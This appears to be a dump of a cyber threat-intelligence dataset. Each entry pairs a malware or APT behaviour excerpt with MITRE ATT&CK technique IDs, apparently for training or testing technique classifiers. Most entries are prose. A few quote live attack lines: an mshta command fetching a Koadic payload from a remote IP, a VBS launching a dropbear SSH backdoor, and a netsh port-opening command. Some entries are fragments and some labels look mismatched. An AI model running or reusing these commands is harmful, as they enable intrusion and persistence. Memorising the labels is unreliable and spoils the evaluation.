QCRI/TechniqueRAG-Datasets huggingface dataset:
Threat description: Several commands are supported by the 's implant via the command-line interface and there’s also a utility to execute any custom command on an infected endpoint.
MITRE ATT&CK techniques:
T1059
Threat description: Several  malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by  also gathers process times.
MITRE ATT&CK techniques:
T1057
Threat description: Some  samples encrypt C2 communications with RC4.
MITRE ATT&CK techniques:
T1573
Threat description: Some  strings are base64 encoded, such as the embedded DLL known as MockDll.
MITRE ATT&CK techniques:
T1027
Threat description: Some  variants add new services with display names generated by a list of hard-coded strings such as Application, Background, Security, and Windows, presumably as a way to masquerade as a legitimate service.
MITRE ATT&CK techniques:
T1036
Threat description: Some  variants establish persistence by modifying the Registry key HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Run:%appdata%\NeutralApp\NeutralApp.exe.
MITRE ATT&CK techniques:
T1547.001
Threat description: Some  variants incorporate an MBR rootkit.
MITRE ATT&CK techniques:
T1542.003
Threat description: Some  variants use port 8088 for C2.
MITRE ATT&CK techniques:
T1571
Threat description: stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.
MITRE ATT&CK techniques:
T1553.002
Threat description: stages data it copies from the local system or removable drives in the "%WINDIR%\$NtUninstallKB885884$\" directory.
MITRE ATT&CK techniques:
T1074
Threat description: steals credentials stored inside Internet Explorer.
MITRE ATT&CK techniques:
T1003
Threat description: steals user files from removable media with file extensions and keywords that match a predefined list.
MITRE ATT&CK techniques:
T1025
Threat description: stole domain credentials from Microsoft Active Directory Domain Controller and leveraged .
MITRE ATT&CK techniques:
T1003
Threat description: stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.
MITRE ATT&CK techniques:
T1564.004
Threat description: strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm.
MITRE ATT&CK techniques:
T1027
Threat description: supports peer connections.
MITRE ATT&CK techniques:
T1090
Threat description: surveys a system upon check-in to discover running processes using the tasklist /v command.
MITRE ATT&CK techniques:
T1057
Threat description: takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.
MITRE ATT&CK techniques:
T1113
Threat description: takes periodic screenshots and exfiltrates them.
MITRE ATT&CK techniques:
T1113
Threat description: takes screenshots of the user's desktop.
MITRE ATT&CK techniques:
T1113
Threat description: terminates antimalware processes.
MITRE ATT&CK techniques:
T1562.001
Threat description: tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.
MITRE ATT&CK techniques:
T1008
Threat description: The  backdoor is a Web shell that supports server payloads for many different kinds of server-side scripting languages and contains functionality to access files, connect to a database, and open a virtual command prompt.
MITRE ATT&CK techniques:
T1505.003
Threat description: The C2 server used by  provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.
MITRE ATT&CK techniques:
T1008
Threat description: The  credential dumper contains an implementation of an SSP.
MITRE ATT&CK techniques:
T1547.005
Threat description: The  credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The LSADUMP::ChangeNTLM and LSADUMP::SetNTLM modules can also manipulate the password hash of an account without knowing the clear text value.
MITRE ATT&CK techniques:
T1098
Threat description: The executable version of  has a module to log clipboard contents.
MITRE ATT&CK techniques:
T1115
Threat description: The  group is known to have used RDP during operations.
MITRE ATT&CK techniques:
T1021.001
Threat description: The  malware platform uses Extended Attributes to store encrypted executables.
MITRE ATT&CK techniques:
T1564.004
Threat description: The  malware uses custom Base64 encoding schemes to obfuscate data command and control traffic in the message body of HTTP requests.
MITRE ATT&CK techniques:
T1001
Threat description: the victim's internal network for hosts with ports 8080, 5900, and 40 open.
MITRE ATT&CK techniques:
T1046
Threat description: To move laterally on a victim network,  has used credentials stolen from various systems on which it gathered usernames and password hashes.
MITRE ATT&CK techniques:
T1078
Threat description: Tools used by  are capable of downloading and executing additional payloads.
MITRE ATT&CK techniques:
T1105
Threat description: TRINITY malware used by  encodes data gathered from the victim with a simple substitution cipher and single-byte XOR using the OxAA key.
MITRE ATT&CK techniques:
T1486
Threat description: uploads files from a specified directory to the C2 server.
MITRE ATT&CK techniques:
T1005
Threat description: used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim’s machine.
MITRE ATT&CK techniques:
T1016
Threat description: used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable .
MITRE ATT&CK techniques:
T1221
Threat description: used a proxy server between victims and the C2 server.
MITRE ATT&CK techniques:
T1090
Threat description: used a signed credential-dumping tool to obtain victim account credentials.
MITRE ATT&CK techniques:
T1003
Threat description: used a tool called MailSniper to search through the Exchange server mailboxes for keywords.
MITRE ATT&CK techniques:
T1114
Threat description: used a valid AppleDeveloperID to sign the code to get past security restrictions.
MITRE ATT&CK techniques:
T1553.002
Threat description: used batch scripts to enumerate administrators in the environment.
MITRE ATT&CK techniques:
T1069
Threat description: used HTTP for C2 communications.  also used an HTTP malware variant to communicate over HTTP for C2.
MITRE ATT&CK techniques:
T1071
Threat description: used legitimate programs such as AmmyAdmin and Team Viewer for remote interactive C2 to target systems.
MITRE ATT&CK techniques:
T1219
Threat description: used Microsoft’s Sysinternals tools to gather detailed information about remote systems.
MITRE ATT&CK techniques:
T1018
Threat description: used net use commands to connect to lateral systems within a network.
MITRE ATT&CK techniques:
T1021.002
Threat description: used spearphishing with Microsoft Office attachments to target victims.
MITRE ATT&CK techniques:
T1598.002
Threat description: used TCP port 80 for C2.
MITRE ATT&CK techniques:
T1043
Threat description: used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.
MITRE ATT&CK techniques:
T1003
Threat description: used various types of scripting to perform operations, including Python and batch scripts. The group was observed installing Python 2.7 on a victim.
MITRE ATT&CK techniques:
T1064
Threat description: uses a backdoor known as BADFLICK that is is capable of generating a reverse shell.
MITRE ATT&CK techniques:
T1059
Threat description: uses a command prompt to run a PowerShell script from Excel.
MITRE ATT&CK techniques:
T1059
Threat description: uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.
MITRE ATT&CK techniques:
T1071
Threat description: uses AES to encrypt C2 traffic.
MITRE ATT&CK techniques:
T1573
Threat description: uses an XOR 0x1 loop to encrypt its C2 domain.
MITRE ATT&CK techniques:
T1573
Threat description: uses basic obfuscation in the form of spaghetti code.
MITRE ATT&CK techniques:
T1027
Threat description: uses cmd.exe to execute netshcommands.
MITRE ATT&CK techniques:
T1059
Threat description: uses commonly used ports (like HTTPS/443) for command and control.
MITRE ATT&CK techniques:
T1043
Threat description: uses custom encryption for C2 using 3DES and RSA.
MITRE ATT&CK techniques:
T1573
Threat description: uses HTTP/HTTPS for command and control communication.
MITRE ATT&CK techniques:
T1071
Threat description: uses HTTP for command and control.
MITRE ATT&CK techniques:
T1071
Threat description: uses HTTP over port 443 for command and control.
MITRE ATT&CK techniques:
T1043
Threat description: uses macOS' .command file type to script actions.
MITRE ATT&CK techniques:
T1064
Threat description: uses multiple proxies to obfuscate network traffic from victims.
MITRE ATT&CK techniques:
T1090
Threat description: uses net.exe to connect to network shares using net use commands with compromised credentials.
MITRE ATT&CK techniques:
T1021.002
Threat description: uses PowerShell to execute various commands, one to execute its payload.
MITRE ATT&CK techniques:
T1059.001
Threat description: uses raw sockets to communicate with its C2 server.
MITRE ATT&CK techniques:
T1095
Threat description: uses RC4 to encrypt C2 responses.
MITRE ATT&CK techniques:
T1573
Threat description: uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.
MITRE ATT&CK techniques:
T1218.011
Threat description: uses tasklist /svc to display running tasks.
MITRE ATT&CK techniques:
T1007
Threat description: uses the command cmd.exe /c netsh firewall add portopening TCP 443 "adp" and makes the victim machine function as a proxy server.
MITRE ATT&CK techniques:
T1090
Threat description: uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.
MITRE ATT&CK techniques:
T1027.002
Threat description: uses  to list TCP connection status.
MITRE ATT&CK techniques:
T1049
Threat description: uses  to perform remote service manipulation to execute a copy of itself as part of lateral movement.
MITRE ATT&CK techniques:
T1569.002
Threat description: uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files, and MAPIGET steals email still on Exchange servers that has not yet been archived.
MITRE ATT&CK techniques:
T1114
Threat description: uses various XOR techniques to obfuscate its components.
MITRE ATT&CK techniques:
T1027
Threat description: uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.
MITRE ATT&CK techniques:
T1021.002
Threat description: uses WMI to perform process monitoring.
MITRE ATT&CK techniques:
T1047
Threat description: variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.
MITRE ATT&CK techniques:
T1218.010
Threat description: version of  communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string “&&&”
MITRE ATT&CK techniques:
T1071
Threat description: When it first starts,  spawns a new thread to log keystrokes.
MITRE ATT&CK techniques:
T1056
Threat description: When the  command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.
MITRE ATT&CK techniques:
T1001
Threat description: will delete files on the system.
MITRE ATT&CK techniques:
T1070.004
Threat description: will zip up the /Library/Keychains directory before exfiltrating it.
MITRE ATT&CK techniques:
T1560
Threat description: writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.
MITRE ATT&CK techniques:
T1486
Threat description: [2] Threat groups use strategic web compromises (SWCs), also known as watering hole attacks, to target a wide array of potential victims
MITRE ATT&CK techniques:
T1189
Threat description: The majority of ActiveX Objects created with Wscript.Shell and Shell.Application are used to run programs, create shortcuts, manipulate the contents of the registry, or access system folders
MITRE ATT&CK techniques:
T1059
Threat description: The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server (systsm.webServer/httplogging) and then delete existing logs from the system (see Figure 4)
MITRE ATT&CK techniques:
T1059
Threat description: Gather network addresses and operating system version Execute arbitrary commands using “cmd.exe /c”  The capability to execute system commands
MITRE ATT&CK techniques:
T1059
Threat description: Both variants need to be executed with the command line argument “[2]” to avoid continually attempting to copy and execute the Trojan using the “tmp.vbs” and “tmp1.vbs” files
MITRE ATT&CK techniques:
T1059
Threat description: /user <parameters>: Executes downloaded file with parameters specified using CreateProcessAsUser cmd /c <command>: Executes command on infected endpoint   Conclusion  The actor behind Honeybee has been operating with new implants since at least November 2017 with the first known version of NTWDBLIB installer
MITRE ATT&CK techniques:
T1059
Threat description: Traps provides endpoint protection, as it can block Excel from creating a command prompt process
MITRE ATT&CK techniques:
T1059
Threat description: Access remote objects interactively from the pupy shell and get auto-completion of remote attributes
MITRE ATT&CK techniques:
T1059
Threat description: It is used to create new processes, perform as a command line shell, and several other tasks
MITRE ATT&CK techniques:
T1059
Threat description: We analyzed the command handler and found that it provided the necessary commands for a fully functional backdoor, as seen in Table 1
MITRE ATT&CK techniques:
T1059
Threat description: The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload
MITRE ATT&CK techniques:
T1027
Threat description: The code is obfuscated in order to hide any malicious activity on the remote server
MITRE ATT&CK techniques:
T1027
Threat description: This strangeness was related to values listed in newer BlackEnergy configuration files
MITRE ATT&CK techniques:
T1027
Threat description: These requests are encrypted using the RC4 algorithm
MITRE ATT&CK techniques:
T1027
Threat description: The launcher module, obfuscated with the notorious Metasploit’s shikata_ga_nai encoder, is the same for all the droppers
MITRE ATT&CK techniques:
T1027
Threat description: After decompiling it from the PE file, it is heavily obfuscated and still almost unreadable.We deobfuscated the script to understand how the infection process works
MITRE ATT&CK techniques:
T1027
Threat description: Code snippet of the obfuscated document After deobfuscation, we can see that the payload is written in the Perl programming language
MITRE ATT&CK techniques:
T1027
Threat description: Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation
MITRE ATT&CK techniques:
T1027
Threat description: The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run
MITRE ATT&CK techniques:
T1027
Threat description: A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation
MITRE ATT&CK techniques:
T1027
Threat description: Invoke-Obfuscation calls the string obfuscation used by the actors to further obfuscate this script Reorder, which uses the string formatting functionality within PowerShell to reconstruct strings from out of order substrings (ex
MITRE ATT&CK techniques:
T1027
Threat description: The C&C server then replies with the encrypted serialized configuration
MITRE ATT&CK techniques:
T1027
Threat description: The payload (abbad7acd…) is an executable that appears to have been created by a VBScript to Executable tool and further obfuscated with a cryptor
MITRE ATT&CK techniques:
T1027
Threat description: Navigating to the web page manually to view:source reveals the code, which at the time of writing happened to not be obfuscated in any significant way
MITRE ATT&CK techniques:
T1027
Threat description: The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters.
MITRE ATT&CK techniques:
T1027
Threat description: The "Blackwater.bas" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer.
MITRE ATT&CK techniques:
T1027
Threat description: Note that every string is decrypted with different XOR parameter which may fail some of the automatic analyzers.
MITRE ATT&CK techniques:
T1027
Threat description: Analysis of the domains and IP address infrastructure used by APT15 identified a number of similar possible domains, shown at the bottom of the post
MITRE ATT&CK techniques:
T1016
Threat description: By running SSH on the server in a compromised network, attackers can come back to the network whenever they want
MITRE ATT&CK techniques:
T1016
Threat description: Regular Expressions   ([^r-v\\s])[r-v]([\\w\\d+\\/=]+)-\\w+.(<domainList[0]>|<domainList[1]>|<domainList[n]>)   Address:\\s+(([a-fA-F0-9]{0,4}:{1,4}[\\w|:]+){1,8})   Address:\\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})   ([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)   (\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)   Address:\\s+(\\d+.\\d+.\\d+.\\d+)    Table 3 Regular expressions used by RogueRobin The C# variant, like its PowerShell relative, will issue DNS queries to determine which query types can successfully communicate with its C2 servers
MITRE ATT&CK techniques:
T1016
Threat description: DHS and FBI are distributing these IP addresses to enable network defense activities and reduce exposure to the DDoS command-and-control network
MITRE ATT&CK techniques:
T1016
Threat description: RATANKBA looking for specific IP ranges Our analysis of samples of the hack tool (HKTL_NBTSCAN.GA and HKTL_NBTSCAN.GB) indicate it as a command-line program that scans IP networks for NetBIOS information such as IP address, NetBIOS computer name, logged-in username, and MAC address—with some of the information coming from the initial RATAKNBA installation
MITRE ATT&CK techniques:
T1016
Threat description: Based on dynamic and static analysis of the malware sample associated with the supservermgr[.]com domain however, we were able to determine several unique artifacts which allowed us to expand our dataset and discover additional findings
MITRE ATT&CK techniques:
T1016
Threat description: (Source: Dell SecureWorks) Appendix D — Domain name parking example CTU researchers have observed TG-3390 parking domains by pointing their A record to a non-routable IP space, including the 127.0.0.[x] loopback address
MITRE ATT&CK techniques:
T1016
Threat description: Trickbot uses this encrypted module to scan the network and steal relevant network information.
MITRE ATT&CK techniques:
T1016
Threat description: The majority of businesses still maintain Windows-heavy user environments where certain core infrastructure components also operate under Windows servers (e.g., Active Directory, SharePoint, etc.)
MITRE ATT&CK techniques:
T1010
Threat description: Because of Poseidon’s longevity, there are samples targeting Windows systems as early as Windows NT 4.0 Server and Windows 95 Workstation up to current versions like Windows 8.1, as well as server variants (very important to them, given the emphasis on reaching Domain Controllers in corporate environments.) How is this different from any other targeted attack? The extortion elements of this campaign are what set it apart from others
MITRE ATT&CK techniques:
T1010
Threat description: LANS Deletes the file created by the LAN command to reverse the effect
MITRE ATT&CK techniques:
T1070.004
Threat description: USBS Deletes the file created by the USB command to reverse the effect
MITRE ATT&CK techniques:
T1070.004
Threat description: DEL Deletes a specified file
MITRE ATT&CK techniques:
T1070.004
Threat description: After running the malware, the batch script goes on to cleans up all signs of its existence on the system, this includes:  Deletion of all initial files created during installation, as well as all associated files required on disk during initial execution
MITRE ATT&CK techniques:
T1070.004
Threat description: Kaspersky Lab products detect the malware used by Poseidon Group with the following detection names: Backdoor.Win32.Nhopro HEUR:Backdoor.Win32.Nhopro.gen HEUR:Hacktool.Win32.Nhopro.gen How many victims have you found? At least 35 victim companies have been identified with primary targets including financial and government institutions, telecommunications, manufacturing, energy and other service utility companies, as well as media and public relations firms
MITRE ATT&CK techniques:
T1070.004
Threat description: Both “%APPDATA%\\Microsoft\Windows\Cookies.txt” and “%APPDATA%\\Microsoft\Windows\Cookies.exe” are then deleted
MITRE ATT&CK techniques:
T1070.004
Threat description: Once they are deleted by the attackers’ code, there is nothing left to be forensically recovered.
MITRE ATT&CK techniques:
T1070.004
Threat description: OSinfo: OSInfo is a general purpose, system information gathering tool
MITRE ATT&CK techniques:
T1082
Threat description: infoClient is reponsible for collecting OS info, submitting this info to its C&C servers (the servers are malicious in nature), and receiving additional C&C communication information
MITRE ATT&CK techniques:
T1082
Threat description: POST /api/osx/started HTTP/1.1Host: r2elajikcosf7zee.onion.toAccept: */*Content-Length: 233Content-Type: application/x-www-form-urlencodedbot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&amp;data=psX0DKYB0u...5TximyY%2BQY%3D     Figure 10: Malware sending initial information       &gt; rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN")device_model=MacBookPro9,2bot_version=1.3.5build_name=elitef*ckos_version=15.5.0ip_address=4.5.6.7has_root=0     Figure 11: Decoded data sent to C&C The bot_id is constructed by hashing the following values with SHA-256:  The hardware UUID (IOPlatformUUID) The system serial number (IOPlatformSerialNumber) The model identifier of the Mac (e.g.: MacBookPro9,2)  Most actions are self-explanatory
MITRE ATT&CK techniques:
T1082
Threat description: This information allows a threat actor to determine if their messages were delivered, which users are more susceptible to opening them, and basic information regarding the target’s operating system and e-mail client (or browser)
MITRE ATT&CK techniques:
T1082
Threat description: The main purpose of the IGT tool is to make an inventory of the system, saving information from the network interfaces and addresses, credentials belonging to the Domain and database server, services being run from the OS and everything that could help the Poseidon Group make its attack more customized to its victim
MITRE ATT&CK techniques:
T1082
Threat description: Two of them are MacOS X User-Agents and the third is a hashed string:  Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405   E9BC3BD76216AFA560BFB5ACAF5731A3   Figure 5: SpeakUp `s requests are encrypted with the salted base64 and include the unique User-Agent At the moment SpeakUp serves XMRig miners to its listening infected servers
MITRE ATT&CK techniques:
T1082
Threat description: This is the first time that Bankshot has been tied directly to financial-related hacking and the first time it has been used since November 2017
MITRE ATT&CK techniques:
T1124
Threat description: The time of the observed attacker activity coincides with Iran’s Daylight Time, which is +0430 UTC
MITRE ATT&CK techniques:
T1124
Threat description: Cadelle and Chafer are most active during the day time within Iran’s time zone and primarily operate during Iran’s business week (Saturday through Thursday)
MITRE ATT&CK techniques:
T1124
Threat description: The shellcode decodes and decompresses another DLL, which is an updated variant of UPPERCUT
MITRE ATT&CK techniques:
T1140
Threat description: This function is able to obfuscate code so that every iteration of the code is presented differently
MITRE ATT&CK techniques:
T1140
Threat description: The code comparison specifically shows the HighShell code including a salt variable containing di2zag7wZHTK9YR0NGq, which is not present within the TwoFace code on the left
MITRE ATT&CK techniques:
T1140
Threat description: Here is the code:The goal of this code is to get information from the properties of the document ("Subject", "Company", "Category", "Hyperlink base" and finally "Comments")
MITRE ATT&CK techniques:
T1140
Threat description: The Visual Basic macro performs the following tasks:  Opens a handle to the malicious document to read the encoded CAB file Decodes the CAB file and writes it to the disk at %temp%\setup.cab   Encoded CAB file in the Word document
MITRE ATT&CK techniques:
T1140
Threat description: The most interesting part is the decrypted C&C configuration, as can be seen in the image below
MITRE ATT&CK techniques:
T1140
Threat description: Backdoor analysis The main loop of the backdoor has two main functions, infoClient and runHandle
MITRE ATT&CK techniques:
T1140
Threat description: To decode this information, BADNEWS takes the following steps:  Base64-decode the string Perform the decoding cipher used in previous versions Base64-decode the result Decrypt the result using the Blowfish algorithm and a static key  A script, which is included in the Appendix, will decrypt data from these dead drop resolvers
MITRE ATT&CK techniques:
T1140
Threat description: The unique strings mainly consist of “Mobile/BADDAD“, “Mobile/7B405” and “E9BC3BD76216AFA560BFB5ACAF5731A3”
MITRE ATT&CK techniques:
T1140
Threat description: The decrypted contents of the log file adhere to the format in Figure 22
MITRE ATT&CK techniques:
T1140
Threat description: Decrypted OwaAuth log file format
MITRE ATT&CK techniques:
T1140
Threat description: """Are you Happy?"" campaign.""FreeMilk"" campaign.""North Korean Human Rights"" campaign.""Evil New Year 2018"" campaign.On January 2nd of 2018, the ""Evil New Year 2018"" was started"
MITRE ATT&CK techniques:
T1543.003
T1543
Threat description: Figure 2: AuditCred/ROptimizer Service If successfully installed, this particular backdoor poses quite a threat to its target
MITRE ATT&CK techniques:
T1543.003
T1543
Threat description: HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules
MITRE ATT&CK techniques:
T1105
Threat description: The XSL script contains additional hard coded variables sVarRaz and sVar2RazX, which contain file paths that direct to the downloaded files.   The file’s path
MITRE ATT&CK techniques:
T1105
Threat description: The config file provides download instructions for the loader
MITRE ATT&CK techniques:
T1105
Threat description: Using this information, they can decide to explore further or instruct the compromised computer to download additional malware
MITRE ATT&CK techniques:
T1105
Threat description: Responds to the IRC server via PRIVMSG with “Download  Success :FilePath=<path to downloaded file>” or “Download Fail” if unsuccessful
MITRE ATT&CK techniques:
T1105
Threat description: Figure 4: Downloading second stage Seminar.rtf The downloaded Seminar.rtf contains an embedded binary file that is dropped in %temp% via Equation Editor executable
MITRE ATT&CK techniques:
T1105
Threat description: Anyconnect[.]stream Bigip[.]stream Fortiweb[.]download Kaspersky[.]science microtik[.]stream owa365[.]bid symanteclive[.]download windowsdefender[.]win  The listed C2 servers all resolved to IPs belonging to a service provider in China at 1.2.9.0/24, which is the IP address used by the C2 server to send a cancel communications message to the end system
MITRE ATT&CK techniques:
T1105
Threat description: 2 Downloads a file to the system
MITRE ATT&CK techniques:
T1105
Threat description: This includes, but is not limited to, the following:  AES encryption of network communication File management Functionality to download, upload, and execute files Keylogging Remote desktop access Remote webcam viewing Reverse proxy Browser and FTP client password recovery  The images below are what a target user opening a malicious RTF document would see from within Microsoft Word
MITRE ATT&CK techniques:
T1105
Threat description: When opened and then executed, the key components of the HTA file downloads and executes further malware from a remote URLand loads a decoy image hosted externally (Figure 3)
MITRE ATT&CK techniques:
T1105
Threat description: Use of PowerShell to download additional tools
MITRE ATT&CK techniques:
T1105
Threat description: The shellcode of the embedded object is designed to download an image, which is, in fact, a new shellcode used to decode an embedded executable
MITRE ATT&CK techniques:
T1105
Threat description: BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2
MITRE ATT&CK techniques:
T1071
Threat description: We recently mentioned this tool in another report on April 16, as this variant of the BONDUPDATER tool used DNS tunneling to communicate with its C2, specifically using TXT queries to receive information from the C2 server
MITRE ATT&CK techniques:
T1071
Threat description: Server Command and control server that communicates via DNS tunneling   Panel Graphical User Interface that allows actors to issue commands, upload and download files to Agents via the Server    Table 2
MITRE ATT&CK techniques:
T1071
Threat description: The Poison Frog server handles both the HTTP and DNS tunneling channels used by the hUpdater.ps1 and dUpdater.ps1 scripts
MITRE ATT&CK techniques:
T1071
Threat description: Its C2 is based on IIS using .asp technology to handle the victims’ HTTP requests
MITRE ATT&CK techniques:
T1071
Threat description: Later variants upload the file to a web server via an HTTP post command
MITRE ATT&CK techniques:
T1071
Threat description: All subsequent interaction with the C2 server uses the same SOAP web service, so we will not show all of the generated HTTP requests
MITRE ATT&CK techniques:
T1071
Threat description: To obtain strings to treat as commands, the payload will issue a series of DNS queries to resolve domains with the following structure: <system id>-<job ID>-<offset data specific to job>.<c2 domain> The C2 server will provide responses to these queries that contain answers in IPv4 or IPv6 addresses depending on the type of DNS query the payload uses to communicate with its C2 server
MITRE ATT&CK techniques:
T1071
Threat description: For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request
MITRE ATT&CK techniques:
T1071
Threat description: If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling
MITRE ATT&CK techniques:
T1071
Threat description: The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(command prompt output)> The upload command (2) writes data provided by the C2 to a specified file
MITRE ATT&CK techniques:
T1071
Threat description: We have seen the following HTTP POST parameters within the Zebrocy C++ samples: porg structOne oq volume DDE Details The author of the DDE document used in the February 2018 attacks used some obfuscation techniques in an attempt to evade detection
MITRE ATT&CK techniques:
T1071
Threat description: XAgent uses HTTP requests to communicate with its C2 servers, which allows the threat actor to interact with the compromised system
MITRE ATT&CK techniques:
T1071
Threat description: For instance, when using this string we observed DNS queries for “apple-search.infoclose”, as the string “close” was supposed to be the next portion of the C2 URL
MITRE ATT&CK techniques:
T1071
Threat description: The malware sends an HTTP GET request to its C2 IP address using HTTP over port 443
MITRE ATT&CK techniques:
T1071
Threat description: In the order to run the SSH server, the attackers created a VBS file with the following content: Set WshShell = CreateObject(“WScript.Shell”) WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\” WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false As is evident here, the SSH server will accept connections on port number 6789
MITRE ATT&CK techniques:
T1547.001
Threat description: The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext:       set objshell = createobject(\"wscript.shell\")objshell.run \"mshta hxxp://86.106.131.177:6500/zIZFh\",vbhide     The Koadic C2 server will respond to this request with Javascript code that acts as the Koadic staging payload, which allows the actor to run additional Koadic modules on the end system to carry out their post-exploitation activities
MITRE ATT&CK techniques:
T1547.001
Threat description: NavRAT then creates a registry key in order to execute this file copy at the next reboot of the system, an initial method of persistence
MITRE ATT&CK techniques:
T1547.001
Threat description: This file is then copied to a filename of ‘Windows Update.lnk’, which is placed in the startup path previously identified
MITRE ATT&CK techniques:
T1547.009
Threat description: This shortcut file points to the path of the previously written ‘winhelp.cpl’ file
MITRE ATT&CK techniques:
T1547.009
Threat description: It then sends the following IRC commands: NICK bxphzrjbxp USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp To make sure it connected to the correct server, the Trojan checks for the message sent from the IRC server after the bot connects: Welcome to the MpkNet IRC Network The MPK bot does not join a specific IRC channel, instead sending private messages (PRIVMSG) to a user with the nick “mpk”
MITRE ATT&CK techniques:
T1132
Threat description: This encoded information then gets an additional header added and sent across the network.
MITRE ATT&CK techniques:
T1132
Threat description: Attack Overview The attack starts with Microsoft Word documents containing a malicious VBA macro being attached to spear phishing emails
MITRE ATT&CK techniques:
T1598.002
Threat description: Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158
MITRE ATT&CK techniques:
T1598.002
Threat description: Like past attacks, the initial infection vector is a malicious Word document attached to a phishing email that is well-tailored to the targeted business and its day-to-day operations
MITRE ATT&CK techniques:
T1598.002
Threat description: MAGIC HOUND TOOLSET The Magic Hound attacks did not rely on exploit code to compromise targeted systems, instead relying on executables and Microsoft Office documents, specifically Excel and Word documents containing malicious macros
MITRE ATT&CK techniques:
T1598.002
Threat description: The emails had a malicious Excel macro document attached, which when executed led to a new Microsoft Visual Basic (VB) script-based malware family which we are dubbing “BabyShark”
MITRE ATT&CK techniques:
T1598.002
Threat description: The initial infection vector of this campaign is a Microsoft Office Excel Worksheet with an Office macro that uses the mshta.exe Windows executable to run scripts, which are embedded in the HTML of a specially-crafted blogspot.com page
MITRE ATT&CK techniques:
T1598.002
Threat description: The majority of delivery documents contain a generic lure image requesting the victim enable macros with no additional content, the adversaries seemingly relying solely on lure filenames to entice victims to launch the malicious document
MITRE ATT&CK techniques:
T1204
Threat description: These documents contained malicious OLE objects used to drop binaries.This time, however, they contained malicious OLE (Object Link Embedded) objects.Initial analysis confirmed two similarly sized OLE object files within this document which appeared to be the same from an execution point of view.The two dropped binaries were stored and executed in this location during our analysis:C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exeC:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exeInitial analysis showed some sloppy cleaning up from Group123, which we used later to determine that separate campaigns were the work of this same actor, as compilation artifacts remained within the binaries:e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdbThe second stage of the dropped binaries was used to execute wscript.exe while injecting shellcode into this process
MITRE ATT&CK techniques:
T1204
Threat description: Cluster A Case 1: Delivery via document property macro – a789a282e0d65a050cccae66c56632245af1c8a589ace2ca5ca79572289fd483  In our research we found at least one attack against a company leveraging a Microsoft Office Excel document with an embedded macro to launch the malware
MITRE ATT&CK techniques:
T1204
Threat description: Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image.
MITRE ATT&CK techniques:
T1204
Threat description: The file, named Microsoft.Win32.TaskScheduler.dll, is digitally signed by a certificate from AirVPN
MITRE ATT&CK techniques:
T1553.002
Threat description: The DLL is also digitally signed by a certificate from “AirVPN”
MITRE ATT&CK techniques:
T1553.002
Threat description: If the <flag> field of the message header is greater than one, the XOR key used to encrypt message bodies is iterated in reverse when encrypting and decrypting messages
MITRE ATT&CK techniques:
T1573
